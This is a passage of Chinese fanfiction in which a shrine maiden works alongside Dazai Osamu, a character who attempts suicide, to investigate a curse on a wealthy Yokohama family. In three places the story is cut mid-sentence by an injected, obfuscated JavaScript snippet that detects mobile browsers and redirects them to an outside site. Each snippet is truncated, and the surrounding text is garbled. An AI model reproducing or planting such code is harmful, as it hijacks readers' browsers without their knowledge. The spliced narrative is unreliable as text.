送我下楼的途中,太宰治跟我有一搭没一搭地聊天。 “琉璃小姐。” “嗯?” “你刚才净灵的时候,闭着眼睛的样子很专心,像真的在做什么很重要的事。” “因为那确实是重要的事,”我说,“怨气虽然不会害人,但放任不管的话,时间久了也会影响人的情绪,住在那样的环境里,人会莫名其妙地烦躁、失眠、做噩梦。” “哦?”太宰治挑起一边的眉毛,指了指自己,“那琉璃小姐有没有觉得我有什么怨气之类的?” 我看了他一眼:“你身上没有怨气。” “是吗,那真遗憾。” “但你有很重的——” 我停顿了一下。 电梯到一楼,门打开。 “什么?” “死气,”我和太宰治并肩走出电梯门,我站住,面向太宰治,“不是怨气,是死气,你身上有很重的死气,不是那种被诅咒的或者被附身的,是你自己主动靠近过死亡很多次,身上沾染了那种气息。” 太宰的笑容僵了一瞬。 很短暂的一瞬,短暂到我差点以为自己看错了。 “琉璃小姐果然很厉害呢,战国时代的巫女,连这个都能看出来吗?” 我:“这不是灵力的问题,一个正常人不会在河里漂着被人捞起来之后,第一句话是邀请对方殉情。” 太宰治:“……” 走出大楼的门外,阳光正好,那光线浓烈得像熬化了浇下来的金箔,黏稠地洒在我们两个人的肩膀上,热度顺着衣襟往里渗,一点一点地融进胸口。 有些我以为早就烧成灰的东西,被这温度烫了一下,隐隐约约地又亮了起来。 我平静道:“其实,我身上也有死气。” “我曾经死过一次,死气就是从那时候留下的。” 太宰没有说话。 他敛了笑意,他没有追问“怎么死的”或者“为什么死的”,而是问了一句出乎我意料的话。 “那是什么感觉?” 街对面的钟楼敲响了下午两点的钟声,沉闷的钟声在城市上空回荡,惊起了一群停在电线上的鸽子。 我回忆着那种感觉:“很冷,也很安静,像是沉到了很深很深的水底,四周什么都没有,只有黑暗。” 那是一种沉入深渊的窒息感,四周什么都没有,连自己的心跳都听不见,黑暗从四面八方挤压过来,密不透风,冰冷彻骨。 “然后我醒了,发现自己活了下来。” 只不过是活在了异世。 “所以,”太宰治撩起额前棕色的头发,摸了摸那处的淤痕,“琉璃小姐才会如此很珍惜生命。” 我点头:“当然,死过一次的人,都知道活着有多不容易。” “太宰先生,”我偏头望着他,“你又为什么执着于寻死呢?” 一次又一次的求死未遂,导致太宰治身上的死气很浓,简直就是在死神边缘反复横跳。 他能活到今天实属阎王爷开恩。 太宰治放下手,额发落回原位,遮住了那块淤痕。 “为什么呢——” 他拉长尾音,看着我,歪头一笑。 “等下次你救我的时候,我再告诉你吧。” * 我和太宰治算上这次,也才见过两面,我以为他是不想回答我的问题,才用那种委婉的方式搪塞过去。 没想到,第二天傍晚,我去买符纸回来的路上,在玉川河又看到了漂在水里的太宰治。 “……”< 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我不记得从什么时候开始,我变得这么爱说教了,可能是从那个没能救下那些因我而死的人开始,也可能是从我涅槃重生过一次之后。 我只是不想再看到有人死在我面前。 太宰治屈起一条腿,换了个放松的姿势坐在草地上:“那如果我说,有些人生来就背负着洗不掉的黑暗,活着本身就是一种污染呢?” 我错愕地低头看向他。 太宰治也看着我,静静地等着我的下文。 好像在等待一个审判。 不是他在审判我,而是邀请我审判他。 他的眼神在说:你不是要救我吗?那你看看我,看清楚我到底是个什么样的人。 我没接话。 风从河面上吹过来,夹杂着水汽和傍晚的凉意。 太宰治的头发还没干透,几缕碎发贴在额角,水珠顺着脸颊往下淌,他也没擦,就那么仰着头,看着天空从蓝色慢慢变成灰紫色。 我把手帕递过去。 “擦擦。” 我在太宰治旁边坐下来,膝盖蜷起来,下巴搁在膝盖上。 我们之间隔了一个人的距离,刚好能听见对方呼吸,又不会让人觉得被打扰。 河对面的灯一盏一盏地亮起来。 我们坐着听河水的声音,看天色一点一点变暗,偶尔有行人从我们身后经过,脚步声渐渐远了,四周又安静下来。 他没有说话,我也没有说话。 这很奇怪。 我偏过头,看了太宰治一眼。 他双手撑在地上,仰着头看天,脖子上的水珠顺着喉结处的绷带往下滑。 我忽然想,他是不是也很久没有这样安静地坐过了。 一个一心寻死的人,和一个珍惜生命的人,肩并肩坐在河岸上。 我们坐在这里,沉默着,各怀心事,却意外地和谐。 他停下了寻找死亡,我停下了用力活着。 过了很久,太宰治站起来,把手帕顶在手指间转了一圈。 他向前走了几步,又停下来,转过身看向我:“下次我如果再掉进河里,琉璃小姐还会来捞我吗?” 太宰治的语气是玩笑的,他站在那里,背对着渐暗的天色,整个人随时会被暮色吞掉。 我想了想:“看心情。” 太宰治笑了。 “那我希望下一次见面,琉璃小姐是心情愉快的。” 他挥了挥手,头也不回地走了。 我坐在河岸上,目送太宰治的背影慢慢走远,消失在街角的灯火里。 我低头看了看空荡荡的手掌。 我的手帕,被太宰治带走了。 5. 来横滨的第五天 三天后。 上午,我正在社务所里帮忙整理御朱印帐,佐佐木凛从外面匆匆走进来,手里拿着一封信。 “琉璃酱,”她把信递到我面前,“有人给你寄了委托书。” “给我?” 我接过信封,翻过来看了一眼。 信封是上好的和纸,纹路细密,封口处压着一枚暗红色的火漆印,上面拓着一个家纹,三枚叠在一起的桐纹,边缘还烫着金。 九条家。 横滨九条家,老牌华族,是横滨数得上的名门,在政商两界根基深厚,现任家主九条龙一郎,七十有余,年轻时是横滨商会的会长,如今虽然退居幕后,但一句话依然能在市议会上砸出回响。 我拆开信封,抽出里面叠得整整齐齐的和纸信笺,大致内容是: 九条龙一郎病重,卧床数月,现代医学束手无策,家族怀疑宅中生了什么“不干净的东西”,希望能请一位有真本事的人去看看。 信末,署名是九条家的现任管事,一个叫大友的人。 九条家,老牌豪门。 家主怪病,现代医学束手无策。 这些词组合在一起,怎么看都不是什么简单的事情。 但话说回来,我来到横滨,做的就是除灵净化的活计,有人找上门来,没有推拒的道理。 我把信折好,塞回信封里,接下了这个委托。 我背着箭囊提着弓出神社的路上,碰到了老神官。 老神官正在后院的走廊上晒太阳,身边放着一壶茶和半碟没吃完的仙贝,听见我说九条家来委托的事,他摸着胡子想了半天,然后若有所思地点了点头。 “九条家啊……那个老头子确实身体不太好了,上个月还听人说他在家里摔了一跤,之后就起不来床。” “您认识九条家主?” “年轻的时候见过几面,”老神官端起茶杯,吹了吹浮在面上的茶叶,“是个精明人,太精明了。精明的人往往不快乐,不快乐的人,容易招东西。” “你去吧,”他叮嘱我,“注意安全,那种大户人家,规矩多,人心也复杂。除灵的事你比我在行,但人心的事,多留个心眼。” * 去九条家的路上,我遇到了一个熟人。 在山手那段坡道的转角处,我从电车上下来,沿着石阶往上走,一抬头就看见一个沙色的身影靠在路边的栏杆上,他手里拿着一本封面红色小册子,正看得入神。 “哟,琉璃小姐,”他先开的口,没有抬头,那双鸢色的眼睛依然黏在书页上,“真巧呢。” 我朝太宰治走过去:“你连看都没看就知道是我?” “脚步声啊,”太宰治慢条斯理地翻了一页,“巫女大人走路的时候,木屐和地面接触的声音和别人不一样,节奏更稳,间距更均匀。” “你是在这儿等我的?” “怎么会,”太宰治把手里的小册子合上,塞进风衣口袋里,“我只是在享受清晨的山风而已,碰巧遇到了琉璃小姐,这就是命运的安排吧,说到命运,琉璃小姐有没有兴趣——” “没有。”我干脆拒绝。 “我还没说完呢。” “不管你说什么,答案都是没有。” “真无情,”太宰治叹了口气,从栏杆上直起身来,跟在我旁边一起往山上走:“那至少让我帮你拿一下弓吧,看起来很重的样子。” 我好奇地看向太宰治,觉得他不会无缘无故出现在这儿,一个想法浮上来:“难道武装侦探社也接了九条家的委托?” “嗯,今天早上国木田君硬把委托书拍在我桌上,还说‘这是工作不是商量’,好过分啊——我明明在写遗书,写到最关键的地方被他打断了,现在完全想不起来要写什么了……” 太宰治双手放在脑后,絮絮叨叨说的说特别投入。 “太宰先生。” “嗯?” “你走路的时候能不能看路?” “诶?” 太宰治低头一看,前面三米处就是石阶,而他正以一种义无反顾的姿态朝着门柱旁边的垃圾桶走过去。 太宰治敏捷地侧身一闪,完美地避开了垃圾桶,然后若无其事地整了□□衣领子。 “我当然看见了,只是想测试一下琉璃小姐会不会提醒我。” 我半月眼盯着他:“结果呢?” “你提醒了,琉璃小姐果然是个温柔的人呢。” 我微笑:“我只是不想看到武装侦探社的人因为撞上垃圾桶而上新闻。” 太宰治一脸遗憾:“啊,那太可惜了,‘武装侦探社成员惨遭门柱暗杀’——这个标题听起来多浪漫。” “……” 我加快了脚步,把这个人甩在了身后。 太宰治在后面小跑着跟上来,沙色风衣的下摆在晨风里翻飞,看起来像一只大蝴蝶。 “琉璃小姐等一下嘛——” “你走快点。” “好凶。” “你走太慢了。” 石阶两旁的枫叶已经泛红了,偶尔有几片早红的叶子飘落下来,在晨风里打着旋儿。 太宰伸治手接住了一片飘落的红叶,捏着叶柄转了转,然后递到我面前:“给,初次合作的纪念品。” 我盯着那片落叶看了看,没有接,纠正他的话:“这不是合作。” “那是什么?” “偶遇的同行。” 武装侦探社办案讲究证据,走的是客观路线;而我作为巫女,负责除灵净化,走的是神道一路。 一个是科学,一个是非科学,从本质上就没法合作。 “好冷淡的说法。” 太宰治吐槽着,把红叶别在了我的箭囊边上。 我别过脸去,假装在看路边的枫树,其实目光落在那片红叶清晰的叶脉上。 我没有把它拿下来。 九条家的宅邸在横滨的山手地段,那一片都是老派的洋馆和和式大宅交错林立,每栋房子都被高大的围墙和郁郁葱葱的树木包围着,从外面只能看见黑瓦的屋顶和偶尔探出墙头的枝丫。 我们在大门前停下。 两扇黑色的木门足有三米高,门柱上挂着“九条”两个字的白木牌,字迹苍劲有力,但漆面已经有些斑驳了。门檐下的灯笼还没有点亮,在午后的光线里显得有些黯淡。 太宰上前叩了叩门环,铜铁碰撞的声音在安静的巷子里传出很远。 一位叫大友的管家接待的我们。 穿过前院之后,大友把我们引到一间会客室,房间不大,但布置得很讲究,壁龛里挂着一幅水墨山水画,画前摆着一只青瓷花瓶,里面插着几枝白色的山茶花,榻榻米是新的,散发着淡淡的蔺草香。 “请稍候,”大友说,“我去请夫人。” 他退出去之后,房间里安静下来。 我跪坐在矮桌前,把长弓倚在墙角。 太宰治坐在我身边。 “怎么样?”他低声问我。 “宅子里的能量场不太对,”我伏在太宰治耳边,小声回答,“但不是我之前遇到过的那种恶灵作祟,更像是有什么东西被埋在这里很久了,一直在慢慢往外渗。” “井?” “有可能,但门口那口井给我的感觉不是源头,更像一个通道,有什么东西从更深的地方渗上来,经过那口井往外散。” 太宰没有立刻接话,他闭上了眼睛,修长的手指在膝盖上轻轻敲着,像是在想什么事情。 过了一会儿,大友回来了。 这次和他一起来的,还有两个人。 走在前面的是一位五十多岁的妇人,穿着一件深紫色的访问和服,头发盘得一丝不苟。 这位是九条家的夫人。 我在来的路上听太宰提过,九条雪乃,是龙一郎的续弦,嫁进九条家快三十年了。 跟在夫人身后的,是一个穿着深灰色西装的年轻人,他的面容和夫人有五六分相似,但五官更硬朗一些,眉宇间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471685|201515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带着一种世家子弟特有的矜贵和傲气。 他眼睛我身上扫过,又移到太宰身上,最后落回到夫人身上。 “母亲,”他问,“这两位就是您请来的人?” “是侦探社和神社的人,”九条夫人点了点头,“大友,你先下去吧。” 大友应了一声,退出去了。 房间里只剩下四个人。夫人和直人在我们对面坐下,隔着一张矮桌。 “两位远道而来,辛苦了,”夫人开口,声音和她的人一样,礼貌但疏离,“事情在委托书里已经写得很清楚了,家主的病,几个月了,医院的医生来了好几拨,都查不出原因,我们怀疑宅子里生了什么东西,所以想请两位来看看。” 她说话的时候,主要看着太宰治,偶尔瞥我一眼。 “明白了,”太宰治笑眯眯地说,“那我们先在宅子里看看,了解一下情况,对了,夫人,家主现在在哪里?” “在他的卧室,”夫人说,“二楼东侧的那间,但他现在不方便见客,身体太虚弱了。” “没关系,我们暂时不需要打扰家主,”太宰治摆了摆手,“在外面看看就行。” 夫人点了点头,对他的识趣很是满意。 这时候,一直沉默的年轻男子开口了:“我陪两位在宅子里转转吧,有些地方母亲不一定熟悉。” 他说这话的时候,语气里带着一丝微妙的意味,目光从夫人身上掠过。 “也好,”九条夫人点头,“直人,你陪他们转转,我去看看你父亲。” 她起身离开,步伐依然端庄,但背影有些僵硬。 九条直人目送她离开,然后转过头来,看着我:“你是巫女?” 他点了点头,目光在我身上停留了一会儿,然后移开了。 “走吧,”他站起来,拍了拍西装下摆,“我带你们去看看。” * 九条直人带我们在宅子里转了一圈。 九条家的宅邸比我想象的还要大,从前院到正殿,从正殿到后院,再绕到西侧的偏殿和仓库,走了快半个小时才看完一半。 一路上,我一直在用灵力感知周围的环境。 前院和正殿都还好,只有一些淡淡的、正常的阴气,老宅子都这样,住的人多了,时间久了,总会有些东西残留下来,不奇怪。 但从西侧偏殿开始,情况就不一样了。 那里的阴气明显比别处重,空气里有一种说不出的压抑感,像是有什么看不见的东西压在胸口上,我放慢脚步,让灵力更仔细地去感知。 有两个地方的能量场最异常。 一个是二楼东侧的方向,那里应该就是家主的卧室,我能感觉到一股浑浊的、沉重的气息从那个方向弥漫过来,像是一潭死水散发出的腐臭,不是嗅觉能闻到的,但灵觉能清晰地捕捉到。 另一个…… 我停下脚步,看向回廊尽头的一扇紧闭的门。 那个门比宅子里其他的门都要旧一些,木头的颜色深得发黑,门框上积着一层灰,门楣上方挂着一块木牌,上面的字迹已经模糊得看不清了。 我伸手指过去:“那里是什么地方?” 九条直人顺着我指的方位看过去,表情微微变了一下:“那是祠堂,供奉祖先牌位的地方,平时不怎么开。” 我询问:“能进去看看吗?” “现在不行,”九条直人摇头,“钥匙在大友那里,而且,母亲说过,没有父亲的允许,谁也不能进祠堂。” 太宰治在旁边一直没有说话,但我注意到他的目光在那扇门上停留了很久。 从偏殿出来之后,九条直人接了一个电话,说有事情要处理,让我们先在宅子里随便看看,晚些再会合。 他走之前看了我一眼,似乎想说什么,但最终只是点了点头,转身离开了。 九条直人走远之后,太宰治才出声。 “琉璃小姐,你刚才说的那两个地方,家主的卧室和祠堂,有什么发现?” 6. 来横滨的第六天 “家主的卧室……”我斟酌了一下用词,“有一团很浓的‘病气’,或者说‘怨气’缠绕在那里,不是普通的病,更像是有什么东西在持续不断地侵蚀他。” “什么东西?” “我还不能确定。但那种气息给我的感觉很……旧,不像是最近才有的。” 太宰治若有所思地点了点头。 “祠堂呢?” “祠堂的情况更复杂,”我皱了皱眉,“那里的阴气很重,但不是那种恶意的、攻击性的阴气,更像是有很多情绪被压缩在一起,封存在那个空间里,时间久了,就开始往外渗。” “什么情绪?” “不甘、怨恨、悲伤……”我闭着眼睛回忆刚才感知到的东西,“但在这些情绪的深处,还有一种很微弱的和它们不一样的东西。像是‘守护’,又像是‘等待’。说不太清楚。” 我睁开眼睛,发现太宰治正看着我。 “怎么了?”我问。 “没什么,”他移开了目光,重新挂上那个标志性的笑容,“琉璃小姐的灵力果然很厉害呢,能感知到这么多东西,我找证据,就只能靠最原始的办法了。” “什么办法?” “聊天呀,”他双手插进兜里,“和园丁聊聊天,和女仆喝喝茶,和管家下下棋,一个家族的故事,都藏在这些人的嘴里呢。” * 下午的时间,我们分头行动。 太宰治去找宅子里的其他人聊(套)天(话)调查,我则在大友管家的允许下,去家主卧室的外围做了一次详细的灵力勘察。 卧室的门关着,大友说九条夫人正在里面陪家主,不方便打扰,我没有勉强,只是在走廊和隔壁的空房间里走了一圈,用灵力仔细地感知了卧室内部的气息。 结果印证了我之前的判断。 卧室里的“病气”浓度比外面高了不止十倍。 种气息黏稠、沉重,像是一团巨大的黑色淤泥,紧紧地缠绕在床铺的位置,缓慢地蠕动着,侵蚀着躺在上面的人。 但奇怪的是,这团气息的“根”不在卧室里。 它像是一棵树,树干和树冠在卧室里,但根伸向了别处。 我顺着那股气息的流向,一路往回走,穿过走廊,下了楼梯,经过偏殿,最后停在了祠堂的门前。 根在这里。 那股侵蚀家主的气息,就是从这扇门里伸出去的。 我站在祠堂门前思考,这个时候,太宰治从回廊的另一头走过来了。 他手里端着一杯茶,看起来像是刚从茶室出来的。 “怎么样?”他走到我面前问。 “祠堂是源头,”我回答,“家主卧室里的病气,是从这里延伸过去的。” 太宰治的表情没有太大的变化,好像早就预料到了一样。 “我这边也有收获,”他在我旁边的廊沿上坐下来,把茶杯放在身侧的木地板上,“那个女仆,就是在茶室泡茶的那个小姑娘,她告诉我一件事。” “什么事?” “凤介去世之后,他的研究室被人翻过,不是简单的翻找,而是非常彻底的那种连地板缝都撬开来看过,当时负责这件事的人,是龙一郎本人。” “他找什么?” “不知道,但女仆说,凤介去世前的最后几个月,几乎不出研究室的门,整天在里面写写画画,有时候半夜还能听到他在房间里自言自语,说什么‘来不及了’‘一定要完成’之类的话。” “来不及了……”我喃喃地重复了一遍。 “还有,”太宰治的声音放低了一些,“那个园丁,就是在银杏树下扫叶子的老伯,他在九条家干了四十多年,亲眼看着凤介长大的,他说了一句话,我觉得很有意思。” “什么话?” “他说,‘凤介少爷走的那天晚上,祠堂里的灯亮了一整夜’。” 风又吹过来了,这一次比刚才大了一些,吹得回廊尽头的风铃叮叮当当地响成一片。 太宰治的视线落在左右飘荡的风铃上:“女仆们私下里在传一件事,家主卧室里最近经常能听到奇怪的声音,不是那种吓人的鬼哭狼嚎,而是,翻书的声音。” “翻书的声音?” “对,就是翻书的声音,夜深人静的时候,从家主卧室的方向传出来的,但家主的书柜在床的另一边,他现在根本下不了床,”太宰歪了歪头,“那么,是谁在翻书呢?” * 所有的线索指向了家主卧室。 但九条夫人表示,她的丈夫今天不方便见客。 “已经很晚了,两位今晚就在宅子里住下吧,夫人的意思是,明天一早再谈后续的事情,”大友说,“夫人已经吩咐准备好了客房,只是……” 他顿了顿,脸上露出一个为难的表情。 我问他:“只是什么?” “只是宅子里最近在进行修缮,大部分客房都在翻新,暂时不能用,所以——” 他鞠了一躬。 “只剩一间和室可以供两位使用了。” ? 我以为自己听错了。 “只剩一间和室,”大友看见我疑惑的表情,又重复了一遍,“非常抱歉,这是目前唯一一间整理好的客房,其他的房间要么在翻新,要么堆满了杂物,实在没法住人。” 我:“……” 我面无表情地转头看向太宰治。 这是什么老套的言情剧发展?男女主角在一起共事,晚上找地方留宿,然后被通知“不好意思只剩下一间房了哦”。 关键是,我和太宰治不该扮演这种偶像剧里的女主角和男主角。 “琉璃小姐放心啦,”太宰治看起来并不在意的样子,已经转身跟着大友往客房的方向走了,回头冲我招了招手,“先去看看房间再说嘛。” 我跟在后面,脑子里乱糟糟的。 大友带我们穿过一条长长的走廊,在一扇樟子门前停下来。 “就是这里了,”他拉开纸门,“两位请便,有什么需要随时叫我。” 他说完就退下了。 我站在门口,往里面看了一眼。 房间里铺着干净的蔺草席,角落的壁龛里挂着一幅清淡的山水画,画 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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月光在榻榻米上缓缓移动,虫鸣声一阵一阵的,像一首没有歌词的催眠曲。 我睡不着。 太宰治给我的感觉,也不是一个会安心睡觉的人,而是习惯了在黑暗中保持清醒。 这一点和我很像,经历过妖怪袭村那晚后,我在夜里总是睡不踏实,有时候睁眼等到天亮。 晚风从门缝里吹进来,身上盖着被子,凉津津地划过脸颊。 我坐起来。 太宰治没有动。 我犹豫了一下,起身从壁橱里翻出一床备用的薄被,轻手轻脚地走到太宰治面前,蹲下来。 他的眼睛闭着,睫毛在月光下投下一小片扇形的阴影,呼吸很浅,胸膛几乎看不出起伏。 我展开薄被,轻轻地盖在太宰治身上,掖好被角,不让风吹进去。 太宰治没有因为我盖被的动作睁眼。 我盯着他看了一瞬,收回手,回到榻榻米上睡觉。 月光又偏移了一寸,淡青色的光从樟子纸的缝隙里渗进来,把整个房间染成冷清的白。 壁龛里的香炉熄灭,屋内再次归于安静。 靠在墙上的太宰治睁开了眼睛。 他看向榻榻米上侧躺的黑长发女孩,停顿片刻,又垂下眼,看了看自己身上多出来的那床薄被,没有合眼继续假寐,而是仰起头,将后脑抵在冰凉的墙壁上。 7. 来横滨的第七天 翌日早饭之后,我和太宰治分头行动。 他去找大友管家要这几十年的宅邸记录——仆人的入职离职、房间的修缮改建、每一件能被记下来的琐事。 我则得到了九条夫人的许可,来到祠堂里,重新仔细地勘察了一遍那个暗格周围的气息。 家主九条龙一郎还是不愿意见人,我只能从祠堂里寻找线索。 这一次,我发现了昨天夜里没有注意到的东西。 暗格的内壁上,刻着几行极小的字,笔画很细,有些地方歪歪扭扭的,像是刻字的人已经没有力气了。 我凑近了看。 此卷不可毁,待兄长危难之日,方可取出。 若我之意志不足以支撑,需以纯净灵力为引,重固契约。 切勿以血饲之,血饲则乱,乱则不可控。 我伸出手指,轻轻触摸那些刻痕,灵力顺着指尖渗入木纹,在那些笔画之间游走。 一个快要死的人,在担心自己死后留下的东西会被人误用,会伤害到自己想要保护的人。 这时,太宰治从走廊那头走过来了。 他在我身边站定:“大友管家的记录里有一件事很有意思。” “什么事?” “凤介去世之后,有一个女仆离职了,时间就在凤介死后第三天,大友的记录上写的是‘因病辞退’,但后面有批注,是龙一郎亲笔写的。” 他从口袋里掏出一张纸,递给我。 纸上抄录着一段话,字迹潦草,但能辨认: 松野芳子,擅自进入凤介研究室,取走遗物若干,念其侍奉凤介多年,不予追究,即日离宅。不得再入。 “松野芳子?”我抬起头。 “凤介生前的贴身女仆,”太宰治向我解释,“据说对凤介非常忠心,凤介死后,她被赶出九条家,之后去了哪里,大友的记录里没有写。” “但你觉得她知道些什么。” “不是觉得,”太宰治摇了摇头,“是肯定,一个忠心耿耿的女仆,在主人死后第三天就被赶走,而且九条龙一郎亲自写了批注,这说明她拿走的东西,很重要。” 他看着我,鸢色的眼睛里有一种安静的光:“琉璃小姐,你觉得凤介留下那卷契约的时候,最信任的人是谁?” 我想了想,说出自己的推测:“不是他的兄长。” “对,不是那个把他关在房间里等死的人,”太宰治点头,“是那个一直在照顾他、给他送饭、帮他研墨、听他说话的人。” “松野芳子?” 太宰没有立刻回答。他从口袋里掏出一张照片。 照片已经很旧了,边角卷曲,画面也有些模糊,但能看清上面是一个年轻的女人,穿着女仆的制服,站在一棵银杏树下,怀里抱着一个孩子。 孩子的脸被光线挡住了,看不清楚。 照片的背面,用钢笔写着一行字: 凤介少爷与松野,大正十五年秋。 “这是大友给我的,”太宰治说,“他说是在仓库里翻到的。” 我盯着照片看了几秒,提出疑问:“凤介少爷他身体那么弱,还能抱孩子?” “所以那个孩子不是他的,”太宰治说,“是松野的。” 我猛地抬起头。 “松野芳子在九条家做女仆的时候,生过一个孩子,孩子的父亲是谁,没有人知道,大友说,当时的记录里只写了‘因病休假’四个字,但凤介在那段时间给松野批了三个月的假,还从自己的私房里拿了一笔钱给她。” “那个孩子……” “被送走了,”太宰治把照片揣进风衣口袋里,“那个年代,女仆生了孩子,要么自己养,要么送人,松野选择了后者,但凤介好像不太同意,大友说,凤介曾经去找过九条龙一郎,说想收那个孩子做养子。” “龙一郎不同意?” “当然不同意,一个来历不明的孩子,怎么能进九条家的族谱?”太宰治讽刺一笑,“而且那个孩子,凤介想收他做养子,不仅仅是因为松野。” “那还因为什么?” 太宰看着我:“琉璃小姐,你觉得凤介那样的人,一个体弱多病的、被家族抛弃的、只能靠术法证明自己价值的人,他最想要的是什么?” 我低头沉吟片刻:“被需要。” “他想要被需要,被家族需要,被兄长需要,被某个人需要,”我抬起头,看向太宰治,“他活着的时候没有得到过这种东西,所以他把所有的执念都留在了契约里。” 太宰治垂下眼睛:“那个孩子,“可能是凤介活着的最后几年里,唯一一个让他觉得自己还有用的人。” 窗外的风吹动了风铃,发出一声清冷的回响。 “所以,”我有些疑惑,“松野芳子把契约的事情告诉了她的孩子,她的孩子又告诉了九条直人,或者,九条直人自己找到了松野芳子的后人?” “这个还需要确认,”太宰治说,“但方向应该没错。” “而且还有一件事,那个老园丁,就是在银杏树下扫叶子的那个,他跟我说了一句话,我当时没太在意,但现在想想,很关键。” 我好奇:“什么话?” “他说,凤介少爷去世之后,松野每隔三年都会来宅子外面转一转,就在大门口,站一会儿,然后走。从来没有人给她开过门。” “每隔三年?” “对,雷打不动。最后一次来,是大概五年前。” “五年前……”我蹙了蹙眉,“九条直人今年多大?” “二十八。” “五年前,他二十三岁,大学刚毕业,刚进入九条家的产业。” 太宰的嘴角微微弯起来,但那个笑容里没有笑意:“所以,有可能是这样的——五年前,松野最后一次来九条家,在外面站了很久,九条直人那天正好出门,看见了她,他可能认出了她,也可能没有,但松野可能认出了他。” 我:“然后松野告诉九条直人契约的事情了?” “不一定直接告诉,也许她只是说了凤介的事情,也许她只是说——‘那个祠堂里,有你想象不到的东西’;也许她只是把日记和契约的事情,当作一个故事讲给他听。” 太宰的声音越来越轻:“但九条直人听进去了,他记住了,他等了五年等到父亲老了,等到自己在家族里的位置稳固了,等到他认为时机成熟了。” “然后他开始动手。” “对,他开始动手。”太宰重复了一遍我的话。 我低头看着手里那张泛黄的照片。 照片上的年轻女人站在银杏树下,怀里抱着一个看不清脸的孩子,她的表情很平静,但眼睛里有光。 那是一种看着自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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我回过头,看着太宰治的侧脸。 午后的阳光从车窗照进来,在他的颧骨上投下一道明亮的切线,他的表情很平静,但嘴唇微微抿着,像是有什么话卡在喉咙里。 我问他:“其实是什么?” “其实他只是在逃避,”太宰治打着转向灯,“他不敢面对‘自己不被需要’这个事实,所以他把所有的价值都寄托在死后,寄托在一个永远不会醒来的承诺上,这样他就不用承认,他活着的时候,什么都没有得到。” 车里的收音机沙沙地响了一阵,又换了一首歌。 我没有接话。 太宰也没有继续说话。 我们就这样沉默地开完了剩下的路程。 杂货铺在一条老街的尽头,夹在一家豆腐店和一家理发店之间,铺面很小,招牌上的字已经褪色了,不仔细看根本认不出写的是什么。 门是开着的。 一个头发花白的老妇人坐在柜台后面,戴着一副老花镜,正在低头缝什么东西,她的手指很瘦,骨节有些变形,但动作依然灵巧。 门口的铃铛响了一声。 她抬起头。 她的脸很瘦,颧骨很高,眼窝深深地凹陷下去,但眼睛还是亮的,是一种很淡的、几乎要熄灭的亮,像一盏烧了很久的油灯。 她看了我一眼,又看了太宰治一眼。 太宰治从口袋里掏出一张泛黄的老照片递过去。 她的表情变了。 “你们……”她的嗓音很沙哑,像枯叶被风吹过地面,“是从九条家来的吗?” 8. 来横滨的第八天 “是,”太宰点点头,“您是松野芳子女士?” 女人放下手里的针线,慢慢地摘下老花镜,叠好,放在柜台上。 “凤介少爷的式神,怎么样了?” 我愣了一下。 她一直都知道。 “松野女士,”太宰走过去,在她对面坐下来,“凤介先生留下的契约,被人动过了,用错误的方式,现在式神在暴走,开始伤害九条家的人。” 松野芳子的手指颤抖了一下。 她叹了口气:“是直人少爷吧,我早该想到的。” 我抓住松野芳子话里的重点:“您认识九条直人?” “不认识的,”松野芳子摇了摇头,“但我见过他,五年前,我去九条家门口……站了一会儿,直人少爷从里面出来,看了我一眼。” 午后的阳光照在她的脸上,把每一道皱纹都照得很清楚。 她从柜台下面摸出一个小盒子。 盒子是木头的,很旧了,边角磨得发亮,上面刻着一朵不知名的花。她把盒子放在柜台上,打开。 里面是一本日记。 封面是布面的,深蓝色,已经被岁月褪成了灰蓝色,页边泛黄发脆,有些地方甚至能看到虫蛀的小洞。 松野芳子:“这是凤介少爷的日记,他走之前,让我保管的,他说,等到合适的时机,把它交给该给的人。” 太宰治问:“什么是‘合适的时机’?” 松野芳子苦笑了一下:“他说,‘等到兄长大人不再把我当作累赘的那一天’。” “但那天一直没有来。” 她把日记从盒子里取出来,双手捧着,放在柜台上。 “五年前,我去九条家门口,是想把它交给龙一郎老爷的,我听说老爷身体不好了,我想,也许现在就是凤介少爷说的‘合适的时机’。但我没有进去。我在门口站了很久,最后还是走了。” 我和太宰治异口同声道:“为什么?” “因为我怕,”松野芳子声音染上看哭腔,“我怕老爷还是和以前一样,看都不看一眼就把它扔掉,我怕凤介少爷最后的心意,被人当作一堆废纸。” 她的眼眶红了,但没有流泪。 “后来直人少爷出来了,他看了我一眼,问我找谁,我说没有,就是路过。但他看到了我手里的日记,他看到了凤介少爷的名字。” 我:“他问你了?” “没有,他什么都没问,只是看了一眼,然后走了,”松野芳子闭上眼睛,“但我知道他看到了,那个眼神和老爷年轻的时候一模一样,一样的精明,一样的不择手段。” “我以为直人少爷会来问我,但他没有,他用自己的方式找到了他想要的东西。他找到了暗格,那里面只有契约,没有日记,他以为契约就是全部。” 松野芳子睁开眼睛,看着我:“巫女小姐,契约上的字,你都看了吗?” “看了。” “那你应该知道,契约是不完整的,凤介少爷没有完成它。” “他来不及了,”松野芳子拭去眼角沁出的泪水,“他走的那天晚上,我就在他身边,他咳了很多血,手已经握不住笔了,他让我把契约收好,说——‘如果有一天,有人要用它,告诉他,不要用血,用灵力,纯净的灵力。不然的话……’” 她没有说下去。 “不然的话,它会变成什么?”太宰治问。 松野芳子沉默了很久。 “会变成……一个不知道自己想要什么的怪物。” 窗外的阳光忽然暗了一些,一片云飘过来,遮住了半边天。 “凤介少爷的执念是‘守护’,”松野芳子说,“但守护是有方向的,它需要一个主人,需要一个被守护的对象。如果没有人用纯净的灵力去引导它,它就会自己去找一个主人——” 